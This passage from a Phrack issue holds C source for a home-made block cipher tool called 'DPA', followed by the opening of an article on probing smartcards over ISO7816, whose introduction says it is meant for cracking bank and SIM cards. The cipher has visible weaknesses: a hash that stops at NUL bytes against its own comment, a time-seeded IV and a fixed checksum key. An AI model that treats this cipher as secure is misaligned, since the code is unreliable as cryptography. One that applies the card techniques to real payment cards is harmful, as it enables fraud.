  /* Diffusion */
  /*
   * The Checksum is constructed by taking respectively
   * the first byte of A, B, C and D, then the second,
   * the third and the fourth.
   */
  skey[0] = (a & 0xff000000) >> 24;
  skey[1] = (b & 0xff000000) >> 24;
  skey[2] = (c & 0xff000000) >> 24;
  skey[3] = (d & 0xff000000) >> 24;
  skey[4] = (a & 0x00ff0000) >> 16;
  skey[5] = (b & 0x00ff0000) >> 16;
  skey[6] = (c & 0x00ff0000) >> 16;
  skey[7] = (d & 0x00ff0000) >> 16;
  skey[8]  = (a & 0x0000ff00) >> 8;
  skey[9]  = (b & 0x0000ff00) >> 8;
  skey[10] = (c & 0x0000ff00) >> 8;
  skey[11] = (d & 0x0000ff00) >> 8;
  skey[12] = (a & 0x000000ff);
  skey[13] = (b & 0x000000ff);
  skey[14] = (c & 0x000000ff);
  skey[15] = (d & 0x000000ff);
}


8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* hash32.c */
/*
 * This function computes a 32 bits output out a variable length input. It is
 * not important to have a nice distribution and low collisions as it is used
 * on the output of checksum128() (see checksum128.c). There is a requirement
 * though, the function should not consider \0 as a key terminator.
 */
unsigned long   hash32(unsigned char *k, unsigned int length)
{
  unsigned long h;

  for (h = 0; *k && length; ++k, --length)
    h = 13 * h + *k;
  return (h);
}


8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* bytechain.c */

#include "include/dpa.h"
```

```
void    rbytechain(unsigned char *block)
{
  int   i;

  for (i = 0; i < DPA_BLOCK_SIZE; ++i)
    block[i] ^= block[(i + 1) % DPA_BLOCK_SIZE];
  return;
}

void    lbytechain(unsigned char *block)
{
  int   i;

  for (i = DPA_BLOCK_SIZE - 1; i >= 0; --i)
    block[i] ^= block[(i + 1) % DPA_BLOCK_SIZE];
  return;
}


8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* bitshift.c */
#include <string.h>

#include "include/dpa.h"

void    rbitshift(unsigned char *block, unsigned int shift)
{
  unsigned int  i;
  unsigned int  div;
  unsigned int  mod;
  unsigned int  rel;
  unsigned char mask;
  unsigned char remainder;
  unsigned char sblock[DPA_BLOCK_SIZE];

  if (shift)
    {
      mask = 0;
      shift %= 128;
      div = shift / 8;
      mod = shift % 8;
      rel = DPA_BLOCK_SIZE - div;
      for (i = 0; i < mod; ++i)
        mask |= (1 << i);
      for (i = 0; i < DPA_BLOCK_SIZE; ++i)
        {
          remainder =
            ((block[(rel + i - 1) % DPA_BLOCK_SIZE]) & mask) << (8 - mod);
          sblock[i] = ((block[(rel + i) % DPA_BLOCK_SIZE]) >> mod) | remainder;
        }
    }
  memcpy(block, sblock, DPA_BLOCK_SIZE);
}

void    lbitshift(unsigned char *block, unsigned int shift)
{
  int   i;
  unsigned int  div;
  unsigned int  mod;
  unsigned int  rel;
  unsigned char mask;
  unsigned char remainder;
  unsigned char sblock[DPA_BLOCK_SIZE];

  if (shift)
    {
      mask = 0;
      shift %= 128;
      div = shift / 8;
      mod = shift % 8;
      rel = DPA_BLOCK_SIZE + div;
      for (i = 0; i < (8 - mod); ++i)
        mask |= (1 << i);
      mask = ~mask;
      for (i = 0; i < DPA_BLOCK_SIZE; ++i)
        {
          remainder =
            (block[(rel + i + 1) % DPA_BLOCK_SIZE] & mask) >> (8 - mod);
          sblock[i] =
            ((block[(rel + i) % DPA_BLOCK_SIZE]) << mod) | remainder;
        }
    }
  memcpy(block, sblock, DPA_BLOCK_SIZE);
}


8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* S_E.c */
#include "include/dpa.h"

/*
 * The substitution table looks like this:
 *
 * (s+0)%256 (s+1)%256 (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 ...
 * (s+1)%256 (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 ...
 * (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 ...
 * (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 (s+9)%256 ...
 * (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 ...
 * (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 ...
 * (s+6)%256 (s+7)%256 (s+8)%256 (s+9)%256 ...
 * ...
 */
void    S_E(unsigned char *key, unsigned char *block, unsigned int s)
{
  int   i;

  for (i = 0; i < DPA_BLOCK_SIZE; ++i)
    block[i] = (key[i] + block[i] + s) % 256;
  return;
}


8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* S_D.c */
#include "include/dpa.h"

void    S_D(unsigned char *key, unsigned char *block, unsigned int s)
{
  int   i;

  for (i = 0; i < DPA_BLOCK_SIZE; ++i)
    block[i] = ((256 + block[i]) - key[i] - s) % 256;
  return;
}


8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* E.c */
#include "include/dpa.h"

/* This is the function that is iterated at each round to encrypt */
void    E(unsigned char *key, unsigned char *block, unsigned int shift)
{
  rbytechain(block);
  rbitshift(block, shift);
  S_E(key, block, shift);
}
```

```
8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* D.c */
#include "include/dpa.h"

/* This is the function used to decrypt */
void    D(unsigned char *key, unsigned char *block, unsigned int shift)
{
  S_D(key, block, shift);
  lbitshift(block, shift);
  lbytechain(block);
}


8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* blockchain.c */
#include "include/dpa.h"

/* Block chaining for BC modes */
void    blockchain(unsigned char *dst, unsigned char *src)
{
  int   i;

  for (i = 0; i < DPA_BLOCK_SIZE; ++i)
    dst[i] = dst[i] ^ src[i];
  return;
}


8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* iv.c */
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

#include "include/dpa.h"

/* Initialization vector */
void    IV(unsigned char *block)
{
  int   i;

  srandom(time(NULL) % getpid());
  for (i = 0; i < DPA_BLOCK_SIZE; ++i)
    block[i] = random();
}


8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* key.c */
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>

#include "include/dpa.h"

/* This is the function used to precompute the subkeys */
void    DPA_set_key(DPA_KEY *k, unsigned char *key, unsigned int len)
{
  /* Compute subkey #0 */
  checksum128(key, k->subkey[0].key, len);

  /* Compute subkey #1 -> #15: k.n = H(k.(n-1)%16), where 0 <= n <= 15 */
  checksum128(k->subkey[0].key, k->subkey[1].key, DPA_KEY_SIZE);
  checksum128(k->subkey[1].key, k->subkey[2].key, DPA_KEY_SIZE);
  checksum128(k->subkey[2].key, k->subkey[3].key, DPA_KEY_SIZE);
  checksum128(k->subkey[3].key, k->subkey[4].key, DPA_KEY_SIZE);
  checksum128(k->subkey[4].key, k->subkey[5].key, DPA_KEY_SIZE);
  checksum128(k->subkey[5].key, k->subkey[6].key, DPA_KEY_SIZE);
  checksum128(k->subkey[6].key, k->subkey[7].key, DPA_KEY_SIZE);
  checksum128(k->subkey[7].key, k->subkey[8].key, DPA_KEY_SIZE);
  checksum128(k->subkey[8].key, k->subkey[9].key, DPA_KEY_SIZE);
  checksum128(k->subkey[9].key, k->subkey[10].key, DPA_KEY_SIZE);
  checksum128(k->subkey[10].key, k->subkey[11].key, DPA_KEY_SIZE);
  checksum128(k->subkey[11].key, k->subkey[12].key, DPA_KEY_SIZE);
  checksum128(k->subkey[12].key, k->subkey[13].key, DPA_KEY_SIZE);
  checksum128(k->subkey[13].key, k->subkey[14].key, DPA_KEY_SIZE);
  checksum128(k->subkey[14].key, k->subkey[15].key, DPA_KEY_SIZE);

  /* Paranoia: overwrite subkey #0 to prevent a possible biais in H
   * from revealing informations about the initial key.
   */
  checksum128(k->subkey[15].key, k->subkey[0].key, DPA_KEY_SIZE);


  /* Compute shifts. Shifts are inverted to break a possible relation
   * between shiftings and subkeys. The last subkey is used to compute
   * the first shift, and so on...
   */
  k->subkey[0].shift = hash32(k->subkey[15].key, DPA_KEY_SIZE);
  k->subkey[1].shift = hash32(k->subkey[14].key, DPA_KEY_SIZE);
  k->subkey[2].shift = hash32(k->subkey[13].key, DPA_KEY_SIZE);
  k->subkey[3].shift = hash32(k->subkey[12].key, DPA_KEY_SIZE);
  k->subkey[4].shift = hash32(k->subkey[11].key, DPA_KEY_SIZE);
  k->subkey[5].shift = hash32(k->subkey[10].key, DPA_KEY_SIZE);
  k->subkey[6].shift = hash32(k->subkey[9].key, DPA_KEY_SIZE);
  k->subkey[7].shift = hash32(k->subkey[8].key, DPA_KEY_SIZE);
  k->subkey[8].shift = hash32(k->subkey[7].key, DPA_KEY_SIZE);
  k->subkey[9].shift = hash32(k->subkey[6].key, DPA_KEY_SIZE);
  k->subkey[10].shift = hash32(k->subkey[5].key, DPA_KEY_SIZE);
  k->subkey[11].shift = hash32(k->subkey[4].key, DPA_KEY_SIZE);
  k->subkey[12].shift = hash32(k->subkey[3].key, DPA_KEY_SIZE);
  k->subkey[13].shift = hash32(k->subkey[2].key, DPA_KEY_SIZE);
  k->subkey[14].shift = hash32(k->subkey[1].key, DPA_KEY_SIZE);
  k->subkey[15].shift = hash32(k->subkey[0].key, DPA_KEY_SIZE);
}

/* And this one for using a file as a secret key */
void    DPA_set_keyfile(DPA_KEY *k, char *filename)
{
  int   fd;
  void  *key;
  struct stat   sb;

  fd = open(filename, O_RDONLY);
  if (fd < 0)
    {
      fprintf(stderr, "failed to open %s as a secret key.\n", filename);
      exit(1);
    }
  fstat(fd, &sb);
  key =
    (unsigned char *)mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
  if (key == (void *)MAP_FAILED)
    {
      fprintf(stderr, "mmap() call failure.\n");
      exit(1);
    }
  DPA_set_key(k, key, sb.st_size);
}


8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* data.c */
/*
 * Warning: ugliest file ;)
 */
```

```
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "include/dpa.h"

void    DPA_set_data(DPA_DATA *d, unsigned char *data, unsigned int len)
{
  d->data = data;
  d->length = len;
}

void    DPA_set_datafile(DPA_DATA *d, char *filename)
{
  int   fd;
  struct stat   sb;

  fd = open(filename, O_RDONLY);
  if (fd < 0)
    {
      fprintf(stderr, "failed to open data file %s.\n", filename);
      exit(1);
    }
  fstat(fd, &sb);
  d->data =
    (unsigned char *)mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
  if (d->data == (void *)MAP_FAILED)
    {
      fprintf(stderr, "mmap() call failure.\n");
      exit(1);
    }
  d->length = sb.st_size;
}

/* Allocate enough memory to hold the result of encryption/decryption */
void    DPA_set_ciphertext(DPA_DATA *d, DPA_DATA *c, int mode, int action)
{
  int   sz;

  sz = 0;
  if (action == DPA_ENCRYPT)
    {
      if (mode == DPA_MODE_ECB)
        {
          if ((d->length % DPA_BLOCK_SIZE) == 0)
            sz = d->length + DPA_BLOCK_SIZE;
          else
            sz = d->length + (DPA_BLOCK_SIZE - (d->length % DPA_BLOCK_SIZE)) +
              DPA_BLOCK_SIZE;
        }
      else if (mode == DPA_MODE_CBC)
        {
          if ((d->length % DPA_BLOCK_SIZE) == 0)
            sz = d->length + (DPA_BLOCK_SIZE * 2);
          else
            sz = d->length + (DPA_BLOCK_SIZE - (d->length % DPA_BLOCK_SIZE)) +
              (DPA_BLOCK_SIZE * 2);
        }
    }
  else if (action == DPA_DECRYPT)
    {
      if (mode == DPA_MODE_ECB)
        sz = d->length - DPA_BLOCK_SIZE;
      else if (mode == DPA_MODE_CBC)
```

```
        sz = d->length - (DPA_BLOCK_SIZE * 2);
    }
  c->data =
(unsigned char *)mmap(NULL, sz,
                      PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
  if (c->data == (void *)MAP_FAILED)
    {
      fprintf(stderr, "mmap() call failure.\n");
      exit(1);
    }
  c->length = sz;
}

/* Write the result of encryption/decryption to filename */
void    DPA_write_to_file(DPA_DATA *data, char *filename)
{
  int   fd;
  int   cnt;
  int   wasfile;

  wasfile = 0;
  if (!strcmp(filename, "-"))
    fd = 1;
  else
    {
      fd = open(filename, O_RDWR|O_CREAT|O_TRUNC, 0600);
      if (fd < 0)
        {
          fprintf(stderr, "failed to open result file %s.\n", filename);
          exit(1);
        }
      wasfile = 1;
    }

  for (cnt = 0; cnt < data->length;)
    if ((data->length - cnt) < DPA_BLOCK_SIZE)
      cnt += write(fd, data->data + cnt, data->length - cnt);
    else
      cnt += write(fd, data->data + cnt, DPA_BLOCK_SIZE);

  if (wasfile)
    close(fd);
}

/* Write the result of checksum to filename in base 16 */
void    DPA_sum_write_to_file(DPA_DATA *data, char *filename)
{
  int   fd;
  int   cnt;
  int   cnt2;
  int   wasfile;
  unsigned char base[] = "0123456789abcdef";
  unsigned char buffer[DPA_BLOCK_SIZE * 2 + 2];

  wasfile = 0;
  if (!strcmp(filename, "-"))
    fd = 1;
  else
    {
      fd = open(filename, O_RDWR|O_CREAT|O_TRUNC, 0600);
      if (fd < 0)
        {
          fprintf(stderr, "failed to open result file %s.\n", filename);
          exit(1);
        }
      wasfile = 1;
    }

  for (cnt = cnt2 = 0; cnt < DPA_BLOCK_SIZE; ++cnt, (cnt2 += 2))
    {
      buffer[cnt2] =
        base[*(data->data + data->length - DPA_BLOCK_SIZE + cnt) / 16];
      buffer[cnt2 + 1] =
        base[*(data->data + data->length - DPA_BLOCK_SIZE + cnt) % 16];
    }
  buffer[DPA_BLOCK_SIZE * 2] = '\n';
  buffer[DPA_BLOCK_SIZE * 2 + 1] = '\0';

  write(fd, buffer, DPA_BLOCK_SIZE * 2 + 2);

  if (wasfile)
    close(fd);
}


8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* ecb.c */
/*
 * Encryption/Decryption in ECB mode.
 */
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include "include/dpa.h"

/* XXX - for better performances, unroll the loops ;) */

void    DPA_ecb_encrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
{
  int   j;
  int   cnt;
  unsigned char *cptr;
  unsigned char block[DPA_BLOCK_SIZE];

  cnt = data->length;
  cptr = cipher->data;
  memset(block, 0, 16);
  for (; cnt > 0; data->data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE)
    {
      if (cnt < DPA_BLOCK_SIZE)
        {
          memcpy(block, data->data, cnt);
          memset(block + cnt, 0, DPA_BLOCK_SIZE - cnt);
        }
      else
        memcpy(block, data->data, DPA_BLOCK_SIZE);
      for (j = 0; j < 16; ++j)
        E(key->subkey[j].key, block, key->subkey[j].shift);
      memcpy(cptr, block, DPA_BLOCK_SIZE);
      cnt -= DPA_BLOCK_SIZE;
    }

  /* Padding block */
  memset(block, 0, DPA_BLOCK_SIZE);
  if (data->length % DPA_BLOCK_SIZE)
    block[DPA_BLOCK_SIZE - 1] = DPA_BLOCK_SIZE - data->length % DPA_BLOCK_SIZE;
  for (j = 0; j < 16; ++j)
    E(key->subkey[j].key, block, key->subkey[j].shift);
  memcpy(cptr, block, DPA_BLOCK_SIZE);
}

void    DPA_ecb_decrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
{
  int   j;
  int   cnt;
  unsigned char padding;
  unsigned char *cptr;
  unsigned char block[DPA_BLOCK_SIZE];
  /* Data is padded so... we got at least 2 * DPA_BLOCK_SIZE bytes and
   * data->length / DPA_BLOCK_SIZE should be even
   */
  if ((data->length % DPA_BLOCK_SIZE) || data->length < (2 * DPA_BLOCK_SIZE))
    exit(1);

  /* Extract padding information */
  memcpy(block, data->data + data->length - DPA_BLOCK_SIZE, DPA_BLOCK_SIZE);
  for (j = 15; j >= 0; --j)
    D(key->subkey[j].key, block, key->subkey[j].shift);
  padding = block[DPA_BLOCK_SIZE - 1];
  cipher->length -= padding;

  cptr = cipher->data;
  cnt = data->length - DPA_BLOCK_SIZE;
  memset(block, 0, DPA_BLOCK_SIZE);
  for (;
       cnt > 0;
       cnt -= DPA_BLOCK_SIZE, data->data += DPA_BLOCK_SIZE,
         cptr += DPA_BLOCK_SIZE)
    {
      memcpy(block, data->data, DPA_BLOCK_SIZE);
      for (j = 15; j >= 0; --j)
        D(key->subkey[j].key, block, key->subkey[j].shift);
      if (cnt >= DPA_BLOCK_SIZE)
        memcpy(cptr, block, DPA_BLOCK_SIZE);
      else
        memcpy(cptr, block, DPA_BLOCK_SIZE - (padding % DPA_BLOCK_SIZE));
    }
}


8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* cbc.c */
/*
 * Encryption/Decryption in CBC mode.
 */
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include "include/dpa.h"

/* XXX - for better performances, unroll the loops ;) */
void    DPA_cbc_encrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
{
  int   j;
  int   cnt;
  unsigned char *cptr;
  unsigned char block[DPA_BLOCK_SIZE];
  unsigned char iv[DPA_BLOCK_SIZE];
  unsigned char xblock[DPA_BLOCK_SIZE];

  /* IV */
  cptr = cipher->data;
  IV(iv);
  memcpy(xblock, iv, DPA_BLOCK_SIZE);
  for (j = 0; j < 16; ++j)
    E(key->subkey[j].key, iv, key->subkey[j].shift);
  memcpy(cptr, iv, DPA_BLOCK_SIZE);
  cptr += DPA_BLOCK_SIZE;

  cnt = data->length;
  memset(block, 0, 16);
  for (; cnt > 0; data->data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE)
    {
      if (cnt < DPA_BLOCK_SIZE)
        {
          memcpy(block, data->data, cnt);
          memset(block + cnt, 0, DPA_BLOCK_SIZE - cnt);
        }
      else
        memcpy(block, data->data, DPA_BLOCK_SIZE);

      blockchain(block, xblock);
      for (j = 0; j < 16; ++j)
        E(key->subkey[j].key, block, key->subkey[j].shift);
      memcpy(xblock, block, DPA_BLOCK_SIZE);
      memcpy(cptr, block, DPA_BLOCK_SIZE);
      cnt -= DPA_BLOCK_SIZE;
    }

  /* Padding */
  memset(block, 0, DPA_BLOCK_SIZE);
  if (data->length % DPA_BLOCK_SIZE)
    block[DPA_BLOCK_SIZE - 1] = DPA_BLOCK_SIZE - data->length % DPA_BLOCK_SIZE;
  blockchain(block, xblock);
  for (j = 0; j < 16; ++j)
    E(key->subkey[j].key, block, key->subkey[j].shift);
  memcpy(cptr, block, DPA_BLOCK_SIZE);
}


void    DPA_cbc_decrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
{
  int   j;
  int   cnt;
  unsigned char padding;
  unsigned char *cptr;
  unsigned char block[DPA_BLOCK_SIZE];
  unsigned char xblock[DPA_BLOCK_SIZE];
  unsigned char xblockprev[DPA_BLOCK_SIZE];
  unsigned char *xorptr;

  /*
   * CBC mode uses padding, data->length / DPA_BLOCK_SIZE _MUST_ be even.
   * Also, we got a block for the IV, at least a block for the data and
   * a block for the padding information, this makes the size of cryptogram
   * at least 3 * DPA_BLOCK_SIZE.
   */
  if ((data->length % DPA_BLOCK_SIZE) || data->length < (3 * DPA_BLOCK_SIZE))
    exit(1);

  /* Extract padding information by undoing block chaining on last block */
  memcpy(block, data->data + data->length - DPA_BLOCK_SIZE, DPA_BLOCK_SIZE);
  for (j = 15; j >= 0; --j)
    D(key->subkey[j].key, block, key->subkey[j].shift);
  xorptr = data->data + data->length - (DPA_BLOCK_SIZE * 2);
  blockchain(block, xorptr);
  padding = block[DPA_BLOCK_SIZE - 1];
  cipher->length -= padding;

  /* Extract Initialization vector */
  memcpy(xblock, data->data, DPA_BLOCK_SIZE);
  for (j = 15; j >= 0; --j)
    D(key->subkey[j].key, xblock, key->subkey[j].shift);

  cptr = cipher->data;
  cnt = data->length - (DPA_BLOCK_SIZE * 2);
  memset(block, 0, DPA_BLOCK_SIZE);
  for (data->data += DPA_BLOCK_SIZE;
       cnt >= DPA_BLOCK_SIZE;
       cnt -= DPA_BLOCK_SIZE, data->data += DPA_BLOCK_SIZE,
         cptr += DPA_BLOCK_SIZE)
    {
      memcpy(block, data->data, DPA_BLOCK_SIZE);
      memcpy(xblockprev, block, DPA_BLOCK_SIZE);
      for (j = 15; j >= 0; --j)
        D(key->subkey[j].key, block, key->subkey[j].shift);
      blockchain(block, xblock);
      if (cnt >= DPA_BLOCK_SIZE)
        memcpy(cptr, block, DPA_BLOCK_SIZE);
      else
        memcpy(cptr, block, DPA_BLOCK_SIZE - (padding % DPA_BLOCK_SIZE));
      memcpy(xblock, xblockprev, DPA_BLOCK_SIZE);
    }
}


8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* sum.c */
/* NEEDS_FIX */
/*
 * This is basically a CBC encryption with a fixed IV and fixed key, the
 * last block being the checksum. This needs a rewrite because there is
 * no need to allocate memory for the whole ciphertext as only two blocks
 * are needed.
 */
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include "include/dpa.h"

/* XXX - for better performances, unroll the loops ;) */
void    DPA_sum(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
{
  int   j;
  int   cnt;
  unsigned char *cptr;
  unsigned char block[DPA_BLOCK_SIZE];
  unsigned char iv[DPA_BLOCK_SIZE];
  unsigned char xblock[DPA_BLOCK_SIZE];

  /* Fixed key */
  DPA_set_key(key, (unsigned char *)"deadbeef", 8);

  /* Fixed IV */
  memcpy(iv, "0123456789abcdef", DPA_BLOCK_SIZE);
  memcpy(xblock, iv, DPA_BLOCK_SIZE);

  cptr = cipher->data;
  memcpy(xblock, iv, DPA_BLOCK_SIZE);
  for (j = 0; j < 16; ++j)
    E(key->subkey[j].key, iv, key->subkey[j].shift);
  memcpy(cptr, iv, DPA_BLOCK_SIZE);
  cptr += DPA_BLOCK_SIZE;
  cnt = data->length;
  memset(block, 0, 16);
  for (; cnt > 0; data->data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE)
    {
      if (cnt < DPA_BLOCK_SIZE)
        {
          memcpy(block, data->data, cnt);
          memset(block + cnt, 0, DPA_BLOCK_SIZE - cnt);
        }
      else
        memcpy(block, data->data, DPA_BLOCK_SIZE);

      blockchain(block, xblock);
      for (j = 0; j < 16; ++j)
        E(key->subkey[j].key, block, key->subkey[j].shift);
      memcpy(xblock, block, DPA_BLOCK_SIZE);
      memcpy(cptr, block, DPA_BLOCK_SIZE);
      cnt -= DPA_BLOCK_SIZE;
    }
  memset(block, 0, DPA_BLOCK_SIZE);
  if (data->length % DPA_BLOCK_SIZE)
    block[DPA_BLOCK_SIZE - 1] = DPA_BLOCK_SIZE - data->length % DPA_BLOCK_SIZE;
  blockchain(block, xblock);
  for (j = 0; j < 16; ++j)
    E(key->subkey[j].key, block, key->subkey[j].shift);
  memcpy(cptr, block, DPA_BLOCK_SIZE);
}


8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* usage.c */
#include <stdio.h>
#include <stdlib.h>
#include <sysexits.h>
#include <unistd.h>

void    usage(void)
{
  fprintf(stderr, "usage: dpa -a action -m mode -k key -d data -o outfile\n");
  fprintf(stderr, "       dpa -s filename\n");
  fprintf(stderr, "\taction can be : encrypt, decrypt\n");
  fprintf(stderr, "\tmode can be   : ecb, cbc\n");
  fprintf(stderr, "\tkey can be    : \"key\" or file:/path/to/keyfile\n");
  fprintf(stderr, "\tdata can be   : \"data\" or file:/path/to/datafile\n");
  fprintf(stderr, "\toutfile can be: \"-\" (stdout) or a filename\n");
  fprintf(stderr, "\twhen -s is used, a checksum of filename is computed\n");
  exit (EX_USAGE);
}


8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* main.c */
#include <stdio.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>

#include "include/dpa.h"

int     main(int argc, char *argv[])
{
  int   kflag;
  int   dflag;
  int   sflag;
  int   mflag;
  int   aflag;
  int   oflag;
  int   opt;
  int   mode;
  int   action;
  char  *output;
  DPA_KEY       key;
  DPA_DATA      data;
  DPA_DATA      cipher;

  mode = DPA_MODE_ECB;
  action = DPA_ENCRYPT;
  output = "-";
  mflag = aflag = kflag = dflag = sflag = oflag = 0;
  while ((opt = getopt(argc, argv, "a:m:k:d:o:s:")) != -1)
    {
      switch (opt)
        {
        case 'a':
          if (!strcmp(optarg, "enc") || !strcmp(optarg, "encrypt"))
            action = DPA_ENCRYPT;
          else if (!strcmp(optarg, "dec") || !strcmp(optarg, "decrypt"))
            action = DPA_DECRYPT;
          else
            {
              fprintf(stderr, "unknown action, expected encrypt or decrypt\n");
              return (EX_USAGE);
            }
          aflag = 1;
          break;

        case 'm':
          if (!strcmp(optarg, "ecb"))
            mode = DPA_MODE_ECB;
          else if (!strcmp(optarg, "cbc"))
            mode = DPA_MODE_CBC;
          else
            {
              fprintf(stderr, "unknown mode, expected ecb or cbc\n");
              return (EX_USAGE);
            }
          mflag = 1;
          break;

        case 'k':
          if (strncmp(optarg, "file:", 5) || strlen(optarg) == 5)
            DPA_set_key(&key, (unsigned char *)optarg, strlen(optarg));
          else
            DPA_set_keyfile(&key, optarg + 5);
          kflag = 1;
          break;

        case 'd':
          if (strncmp(optarg, "file:", 5) || strlen(optarg) == 5)
            DPA_set_data(&data, (unsigned char *)optarg, strlen(optarg));
          else
            DPA_set_datafile(&data, optarg + 5);
          dflag = 1;
          break;

        case 'o':
          output = optarg;
          oflag = 1;
          break;

        case 's':
          DPA_set_datafile(&data, optarg);
          sflag = 1;
          break;

        default:
          usage();
        }
    }

  if ((!aflag || !mflag || !kflag || !dflag) && !sflag)
    usage();

  if (sflag)
    {
      DPA_set_ciphertext(&data, &cipher, DPA_MODE_CBC, DPA_ENCRYPT);
      DPA_sum(&key, &data, &cipher);
      DPA_sum_write_to_file(&cipher, output);
    }
  else
    {
      DPA_set_ciphertext(&data, &cipher, mode, action);
      if (action == DPA_ENCRYPT)
        {
          if (mode == DPA_MODE_ECB)
            DPA_ecb_encrypt(&key, &data, &cipher);
          else if (mode == DPA_MODE_CBC)
            DPA_cbc_encrypt(&key, &data, &cipher);
        }
      else if (action == DPA_DECRYPT)
        {
          if (mode == DPA_MODE_ECB)
            DPA_ecb_decrypt(&key, &data, &cipher);
          else if (mode == DPA_MODE_CBC)
            DPA_cbc_decrypt(&key, &data, &cipher);
        }
      DPA_write_to_file(&cipher, output);
    }
  return (EX_OK);
}


|=[ EOF ]=---------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x0f of 0x10

```
|=---------=[ Introduction for Playing Cards for Smart Profits ]=--------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ ender <ender@afturgurluk.org> ]=-----------------=|
```

--=[Contents]=--

```
        1 - Introduction
        2 - Dealing with ISO7816 standard
                2.1 - Receiving Answer To Reset
                2.2 - Sending commands
                2.3 - Receiving answers
                2.4 - For example
        2.5 - Your Rights

        3 - SmartCard Man in the middle
        4 - BruteForcing unidenfitied cards
        5 - Examples of mapping and filesystem
                5.1 - Mapping of old french Credit cards
                5.2 - File System of SIM Cards

        6 - Cyphering with smartcards
        7 - Magnetic stripe
                7.1 - ISO
                7.2 - ALPHANUMERIC
                7.3 - BINARY

        8 - Synchronous smartcards
        9 - Programming a card for ISO7816 purposes
        10 - Conclusion
        11 - Greetings
        12 - Bibliography

    Appendix A: Communication log
```

--[1 - Introduction]---

All what is written in this article must be used for cracking cards and shouldn't be used to secure already existing application. However, the aim of this article is to show you how to engage the dialog with your smartcards (very useful when you don't have a girlfriend to talk with), and not the way to use already cracked cards.

What you need for studying card is :

- THE standard : ISO7816
  (http://www.cardwerk.com/smartcards/smartcard_standards.aspx)

- a smartcard reader (Phoenix)

- optionally a Reader/Writter for magnetic stripes (just for fun).

- maybe a Season -I will explain later-,

- some bank cards,

- and a computer:
  - Under Linux/Unix : you can check for shcap
    (www.afturgurluk.org/~ender/)
    or try SmartCard ToolKit
    (http://freshmeat.net/projects/sctk/)
  - Under bill's non-operating system : WinExplorer from Dexter
    (www.geocities.com/Winexplorer/)

--[2 - Dealing with ISO7816 standard]-----------------------------------

You will need to refer to this standard. Here we will see how to engage

```
the communication with a smartcard plugged in your phoenix (smartcard
reader), which is plugged in your rs232 port. I have put two examples with :
a credit card, and a SIM card. If no specific card is mentionned in the
presentation of the protocol, it means that the information is valid for all
7816 ISO compliant cards.

----[ 2.1 - Receiving Answer To Reset (ATR) ]-----------------------------

        First, you will need to reset the card (with an ioctl, or directly
typing 'reset' in a smartcard shell) to boot the card, then it sends a data
buffer to identify itself, and to explicit its specifications such as the
frequency, the programming voltage, the GuardTime the Convention
(inverse/direct)... What is really useful to know is :

The ATR looks like that :
ATR : TS T0 TA1 TB1 TC1 TD1 TA2 ... TDn Tk TCK

    TS  : 3B  Direct Convention
          3F  Inverse Convention

    T0  : gives the number of Historical Bytes (specific to the card)

    TD  : gives the protocol (mostly T=0 send Word, T=1 send Characters)

    Tk  : The k Historical Bytes... not really verbose in fact :/

    TCK : Just a checksum to verify you have a good ATR...

